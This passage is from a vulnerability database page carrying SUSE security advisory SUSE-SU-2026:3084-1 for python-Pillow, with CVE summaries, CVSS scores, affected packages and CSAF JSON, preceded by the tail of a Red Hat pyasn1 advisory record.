            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "pyasn1: pyasn1: Denial of Service via crafted ASN.1 REAL values"
    }
  ]
}

SUSE-SU-2026:3084-1

Vulnerability from csaf_suse - Published: 2026-07-16 17:46 - Updated: 2026-07-16 17:46

Summary

Security update for python-Pillow

Severity

Moderate

Notes

Title of the patch: Security update for python-Pillow

Description of the patch: This update for python-Pillow fixes the following issues - CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419). - CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand` (bsc#1271418). - CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420). - CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow (bsc#1271421). - CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422). - CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424). - CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch

Patchnames: SUSE-2026-3084,SUSE-SLE-Module-Packagehub-Subpackages-15-SP7-2026-3084

Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).

CVE-2026-54058

6.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H

Affected products

Recommended 4 products

Product	Version	Remediation
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64	—	Vendor Fix

Threats

Impact moderate

CVE-2026-59197

6.8 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Affected products

Recommended 4 products

Product	Version	Remediation
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64	—	Vendor Fix

Threats

Impact moderate

CVE-2026-59198

5.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Affected products

Recommended 4 products

Product	Version	Remediation
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64	—	Vendor Fix

Threats

Impact moderate

CVE-2026-59199

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected products

Recommended 4 products

Product	Version	Remediation
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64	—	Vendor Fix

Threats

Impact moderate

CVE-2026-59200

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected products

Recommended 4 products

Product	Version	Remediation
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64	—	Vendor Fix

Threats

Impact moderate

CVE-2026-59204

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected products

Recommended 4 products

Product	Version	Remediation
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64	—	Vendor Fix

Threats

Impact moderate

CVE-2026-59205

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected products

Recommended 4 products

Product	Version	Remediation
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x	—	Vendor Fix
Unresolved product id: SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64	—	Vendor Fix

Threats

Impact moderate

References

32 references

URL	Category
https://www.suse.com/support/security/rating/	external
https://ftp.suse.com/pub/projects/security/csaf/s…	self
https://www.suse.com/support/update/announcement/…	self
https://lists.suse.com/pipermail/sle-updates/2026…	self
https://bugzilla.suse.com/1271418	self
https://bugzilla.suse.com/1271419	self
https://bugzilla.suse.com/1271420	self
https://bugzilla.suse.com/1271421	self
https://bugzilla.suse.com/1271422	self
https://bugzilla.suse.com/1271424	self
https://bugzilla.suse.com/1271425	self
https://www.suse.com/security/cve/CVE-2026-54058/	self
https://www.suse.com/security/cve/CVE-2026-59197/	self
https://www.suse.com/security/cve/CVE-2026-59198/	self
https://www.suse.com/security/cve/CVE-2026-59199/	self
https://www.suse.com/security/cve/CVE-2026-59200/	self
https://www.suse.com/security/cve/CVE-2026-59204/	self
https://www.suse.com/security/cve/CVE-2026-59205/	self
https://www.suse.com/security/cve/CVE-2026-54058	external
https://bugzilla.suse.com/1271419	external
https://www.suse.com/security/cve/CVE-2026-59197	external
https://bugzilla.suse.com/1271418	external
https://www.suse.com/security/cve/CVE-2026-59198	external
https://bugzilla.suse.com/1271420	external
https://www.suse.com/security/cve/CVE-2026-59199	external
https://bugzilla.suse.com/1271421	external
https://www.suse.com/security/cve/CVE-2026-59200	external
https://bugzilla.suse.com/1271422	external
https://www.suse.com/security/cve/CVE-2026-59204	external
https://bugzilla.suse.com/1271424	external
https://www.suse.com/security/cve/CVE-2026-59205	external
https://bugzilla.suse.com/1271425	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://www.suse.com/support/security/rating/",
      "text": "moderate"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright 2024 SUSE LLC. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "Security update for python-Pillow",
        "title": "Title of the patch"
      },
      {
        "category": "description",
        "text": "This update for python-Pillow fixes the following issues\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n",
        "title": "Description of the patch"
      },
      {
        "category": "details",
        "text": "SUSE-2026-3084,SUSE-SLE-Module-Packagehub-Subpackages-15-SP7-2026-3084",
        "title": "Patchnames"
      },
      {
        "category": "legal_disclaimer",
        "text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
        "title": "Terms of use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://www.suse.com/support/security/contact/",
      "name": "SUSE Product Security Team",
      "namespace": "https://www.suse.com/"
    },
    "references": [
      {
        "category": "external",
        "summary": "SUSE ratings",
        "url": "https://www.suse.com/support/security/rating/"
      },
      {
        "category": "self",
        "summary": "URL of this CSAF notice",
        "url": "https://ftp.suse.com/pub/projects/security/csaf/suse-su-2026_3084-1.json"
      },
      {
        "category": "self",
        "summary": "URL for SUSE-SU-2026:3084-1",
        "url": "https://www.suse.com/support/update/announcement/2026/suse-su-20263084-1/"
      },
      {
        "category": "self",
        "summary": "E-Mail link for SUSE-SU-2026:3084-1",
        "url": "https://lists.suse.com/pipermail/sle-updates/2026-July/048415.html"
      },
      {
        "category": "self",
        "summary": "SUSE Bug 1271418",
        "url": "https://bugzilla.suse.com/1271418"
      },
      {
        "category": "self",
        "summary": "SUSE Bug 1271419",
        "url": "https://bugzilla.suse.com/1271419"
      },
      {
        "category": "self",
        "summary": "SUSE Bug 1271420",
        "url": "https://bugzilla.suse.com/1271420"
      },
      {
        "category": "self",
        "summary": "SUSE Bug 1271421",
        "url": "https://bugzilla.suse.com/1271421"
      },
      {
        "category": "self",
        "summary": "SUSE Bug 1271422",
        "url": "https://bugzilla.suse.com/1271422"
      },
      {
        "category": "self",
        "summary": "SUSE Bug 1271424",
        "url": "https://bugzilla.suse.com/1271424"
      },
      {
        "category": "self",
        "summary": "SUSE Bug 1271425",
        "url": "https://bugzilla.suse.com/1271425"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-54058 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-54058/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-59197 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-59197/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-59198 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-59198/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-59199 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-59199/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-59200 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-59200/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-59204 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-59204/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-59205 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-59205/"
      }
    ],
    "title": "Security update for python-Pillow",
    "tracking": {
      "current_release_date": "2026-07-16T17:46:49Z",
      "generator": {
        "date": "2026-07-16T17:46:49Z",
        "engine": {
          "name": "cve-database.git:bin/generate-csaf.pl",
          "version": "1"
        }
      },
      "id": "SUSE-SU-2026:3084-1",
      "initial_release_date": "2026-07-16T17:46:49Z",
      "revision_history": [
        {
          "date": "2026-07-16T17:46:49Z",
          "number": "1",
          "summary": "Current version"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python3-Pillow-7.2.0-150300.3.30.1.aarch64",
                "product": {
                  "name": "python3-Pillow-7.2.0-150300.3.30.1.aarch64",
                  "product_id": "python3-Pillow-7.2.0-150300.3.30.1.aarch64"
                }
              },
              {
                "category": "product_version",
                "name": "python3-Pillow-tk-7.2.0-150300.3.30.1.aarch64",
                "product": {
                  "name": "python3-Pillow-tk-7.2.0-150300.3.30.1.aarch64",
                  "product_id": "python3-Pillow-tk-7.2.0-150300.3.30.1.aarch64"
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python3-Pillow-7.2.0-150300.3.30.1.i586",
                "product": {
                  "name": "python3-Pillow-7.2.0-150300.3.30.1.i586",
                  "product_id": "python3-Pillow-7.2.0-150300.3.30.1.i586"
                }
              },
              {
                "category": "product_version",
                "name": "python3-Pillow-tk-7.2.0-150300.3.30.1.i586",
                "product": {
                  "name": "python3-Pillow-tk-7.2.0-150300.3.30.1.i586",
                  "product_id": "python3-Pillow-tk-7.2.0-150300.3.30.1.i586"
                }
              }
            ],
            "category": "architecture",
            "name": "i586"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
                "product": {
                  "name": "python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
                  "product_id": "python3-Pillow-7.2.0-150300.3.30.1.ppc64le"
                }
              },
              {
                "category": "product_version",
                "name": "python3-Pillow-tk-7.2.0-150300.3.30.1.ppc64le",
                "product": {
                  "name": "python3-Pillow-tk-7.2.0-150300.3.30.1.ppc64le",
                  "product_id": "python3-Pillow-tk-7.2.0-150300.3.30.1.ppc64le"
                }
              }
            ],
            "category": "architecture",
            "name": "ppc64le"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python3-Pillow-7.2.0-150300.3.30.1.s390x",
                "product": {
                  "name": "python3-Pillow-7.2.0-150300.3.30.1.s390x",
                  "product_id": "python3-Pillow-7.2.0-150300.3.30.1.s390x"
                }
              },
              {
                "category": "product_version",
                "name": "python3-Pillow-tk-7.2.0-150300.3.30.1.s390x",
                "product": {
                  "name": "python3-Pillow-tk-7.2.0-150300.3.30.1.s390x",
                  "product_id": "python3-Pillow-tk-7.2.0-150300.3.30.1.s390x"
                }
              }
            ],
            "category": "architecture",
            "name": "s390x"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python3-Pillow-7.2.0-150300.3.30.1.x86_64",
                "product": {
                  "name": "python3-Pillow-7.2.0-150300.3.30.1.x86_64",
                  "product_id": "python3-Pillow-7.2.0-150300.3.30.1.x86_64"
                }
              },
              {
                "category": "product_version",
                "name": "python3-Pillow-tk-7.2.0-150300.3.30.1.x86_64",
                "product": {
                  "name": "python3-Pillow-tk-7.2.0-150300.3.30.1.x86_64",
                  "product_id": "python3-Pillow-tk-7.2.0-150300.3.30.1.x86_64"
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          },
          {
            "branches": [
              {
                "category": "product_name",
                "name": "SUSE Linux Enterprise Module for Package Hub 15 SP7",
                "product": {
                  "name": "SUSE Linux Enterprise Module for Package Hub 15 SP7",
                  "product_id": "SUSE Linux Enterprise Module for Package Hub 15 SP7",
                  "product_identification_helper": {
                    "cpe": "cpe:/o:suse:packagehub:15:sp7"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "SUSE Linux Enterprise"
          }
        ],
        "category": "vendor",
        "name": "SUSE"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python3-Pillow-7.2.0-150300.3.30.1.aarch64 as component of SUSE Linux Enterprise Module for Package Hub 15 SP7",
          "product_id": "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64"
        },
        "product_reference": "python3-Pillow-7.2.0-150300.3.30.1.aarch64",
        "relates_to_product_reference": "SUSE Linux Enterprise Module for Package Hub 15 SP7"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python3-Pillow-7.2.0-150300.3.30.1.ppc64le as component of SUSE Linux Enterprise Module for Package Hub 15 SP7",
          "product_id": "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le"
        },
        "product_reference": "python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
        "relates_to_product_reference": "SUSE Linux Enterprise Module for Package Hub 15 SP7"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python3-Pillow-7.2.0-150300.3.30.1.s390x as component of SUSE Linux Enterprise Module for Package Hub 15 SP7",
          "product_id": "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x"
        },
        "product_reference": "python3-Pillow-7.2.0-150300.3.30.1.s390x",
        "relates_to_product_reference": "SUSE Linux Enterprise Module for Package Hub 15 SP7"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python3-Pillow-7.2.0-150300.3.30.1.x86_64 as component of SUSE Linux Enterprise Module for Package Hub 15 SP7",
          "product_id": "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
        },
        "product_reference": "python3-Pillow-7.2.0-150300.3.30.1.x86_64",
        "relates_to_product_reference": "SUSE Linux Enterprise Module for Package Hub 15 SP7"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-54058",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-54058"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-54058",
          "url": "https://www.suse.com/security/cve/CVE-2026-54058"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1271419 for CVE-2026-54058",
          "url": "https://bugzilla.suse.com/1271419"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-16T17:46:49Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-54058"
    },
    {
      "cve": "CVE-2026-59197",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-59197"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-59197",
          "url": "https://www.suse.com/security/cve/CVE-2026-59197"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1271418 for CVE-2026-59197",
          "url": "https://bugzilla.suse.com/1271418"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-16T17:46:49Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-59197"
    },
    {
      "cve": "CVE-2026-59198",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-59198"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow\u0027s TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-59198",
          "url": "https://www.suse.com/security/cve/CVE-2026-59198"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1271420 for CVE-2026-59198",
          "url": "https://bugzilla.suse.com/1271420"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-07-16T17:46:49Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-59198"
    },
    {
      "cve": "CVE-2026-59199",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-59199"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
          "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-59199",
          "url": "https://www.suse.com/security/cve/CVE-2026-59199"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1271421 for CVE-2026-59199",
          "url": "https://bugzilla.suse.com/1271421"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.aarch64",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.ppc64le",
            "SUSE Linux Enterprise Module for Package Hub 15 SP7:python3-Pillow-7.2.0-150300.3.30.1.s390x",
